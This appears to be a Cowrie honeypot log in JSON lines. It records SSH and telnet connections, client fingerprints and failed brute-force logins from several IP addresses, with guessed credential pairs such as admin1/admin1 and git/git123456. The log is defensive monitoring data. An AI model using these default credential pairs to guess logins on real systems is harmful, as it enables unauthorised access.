{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:24.219143Z","src_ip":"57.128.222.14","session":"e7f823588d8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe...","message":"login attempt [ubuntu/123qwe...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:24.672745Z","src_ip":"57.128.222.14","session":"e7f823588d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:24.938986Z","src_ip":"176.65.132.129","session":"dd12aa9881fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:25.781606Z","src_ip":"57.128.222.14","session":"e7f823588d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":33930,"dst_ip":"159.203.135.109","dst_port":23,"session":"71a8f990040a","protocol":"telnet","message":"New connection: 64.227.82.147:33930 (159.203.135.109:23) [session: 71a8f990040a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:26.218688Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39184,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab0bc5746c67","protocol":"telnet","message":"New connection: 38.60.198.128:39184 (159.203.135.109:23) [session: ab0bc5746c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:26.586529Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43994,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dc530ac5f9d","protocol":"ssh","message":"New connection: 176.65.132.129:43994 (10.17.0.5:22) [session: 7dc530ac5f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:26.664795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:26.672770Z","src_ip":"176.65.132.129","session":"7dc530ac5f9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:26.754268Z","src_ip":"176.65.132.129","session":"7dc530ac5f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:27.193004Z","src_ip":"176.65.132.129","session":"7dc530ac5f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.854127168655396,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:27.721208Z","src_ip":"38.60.198.128","session":"4b925d227c1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:28.275880Z","src_ip":"176.65.132.129","session":"7dc530ac5f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43396,"dst_ip":"159.203.135.109","dst_port":23,"session":"5570f0c29b86","protocol":"telnet","message":"New connection: 38.60.198.128:43396 (159.203.135.109:23) [session: 5570f0c29b86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:28.854454Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44004,"dst_ip":"10.17.0.5","dst_port":22,"session":"13da66be6fd4","protocol":"ssh","message":"New connection: 176.65.132.129:44004 (10.17.0.5:22) [session: 13da66be6fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:30.296702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:30.301775Z","src_ip":"176.65.132.129","session":"13da66be6fd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:30.384499Z","src_ip":"176.65.132.129","session":"13da66be6fd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:30.636049Z","src_ip":"176.65.132.129","session":"13da66be6fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:31.725170Z","src_ip":"176.65.132.129","session":"13da66be6fd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.04348349571228,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:32.686058Z","src_ip":"192.211.53.160","session":"e3c57d56982e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44030,"dst_ip":"10.17.0.5","dst_port":22,"session":"700b96d4b93e","protocol":"ssh","message":"New connection: 176.65.132.129:44030 (10.17.0.5:22) [session: 700b96d4b93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:33.721163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:33.738450Z","src_ip":"176.65.132.129","session":"700b96d4b93e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:33.964296Z","src_ip":"176.65.132.129","session":"700b96d4b93e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:34.241274Z","src_ip":"176.65.132.129","session":"700b96d4b93e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:35.326146Z","src_ip":"176.65.132.129","session":"700b96d4b93e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52190,"dst_ip":"159.203.135.109","dst_port":23,"session":"90f18673de9c","protocol":"telnet","message":"New connection: 38.60.198.128:52190 (159.203.135.109:23) [session: 90f18673de9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:36.593834Z"}
{"eventid":"cowrie.session.closed","duration":10.655569076538086,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:36.874162Z","src_ip":"64.227.82.147","session":"71a8f990040a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35268,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fd5caaff091","protocol":"ssh","message":"New connection: 176.65.132.129:35268 (10.17.0.5:22) [session: 3fd5caaff091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:37.305165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:37.309810Z","src_ip":"176.65.132.129","session":"3fd5caaff091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:37.394550Z","src_ip":"176.65.132.129","session":"3fd5caaff091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"123456","message":"login attempt [claude/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:37.643456Z","src_ip":"176.65.132.129","session":"3fd5caaff091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00113320350647,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:38.032088Z","src_ip":"45.81.23.16","session":"e1e71da25fb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:38.731670Z","src_ip":"176.65.132.129","session":"3fd5caaff091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35286,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba6b99dfaab4","protocol":"ssh","message":"New connection: 176.65.132.129:35286 (10.17.0.5:22) [session: ba6b99dfaab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:40.910083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:40.935365Z","src_ip":"176.65.132.129","session":"ba6b99dfaab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:41.010203Z","src_ip":"176.65.132.129","session":"ba6b99dfaab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:41.317240Z","src_ip":"176.65.132.129","session":"ba6b99dfaab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:42.413984Z","src_ip":"176.65.132.129","session":"ba6b99dfaab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35300,"dst_ip":"10.17.0.5","dst_port":22,"session":"640f6a05ecab","protocol":"ssh","message":"New connection: 176.65.132.129:35300 (10.17.0.5:22) [session: 640f6a05ecab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:44.350137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:44.358694Z","src_ip":"176.65.132.129","session":"640f6a05ecab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:44.444333Z","src_ip":"176.65.132.129","session":"640f6a05ecab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:44.690127Z","src_ip":"176.65.132.129","session":"640f6a05ecab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:45.775384Z","src_ip":"176.65.132.129","session":"640f6a05ecab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33842,"dst_ip":"10.17.0.5","dst_port":22,"session":"70651b2a364a","protocol":"ssh","message":"New connection: 176.65.132.129:33842 (10.17.0.5:22) [session: 70651b2a364a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:47.892002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:47.983939Z","src_ip":"176.65.132.129","session":"70651b2a364a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:47.987159Z","src_ip":"176.65.132.129","session":"70651b2a364a","protocol":"ssh"}
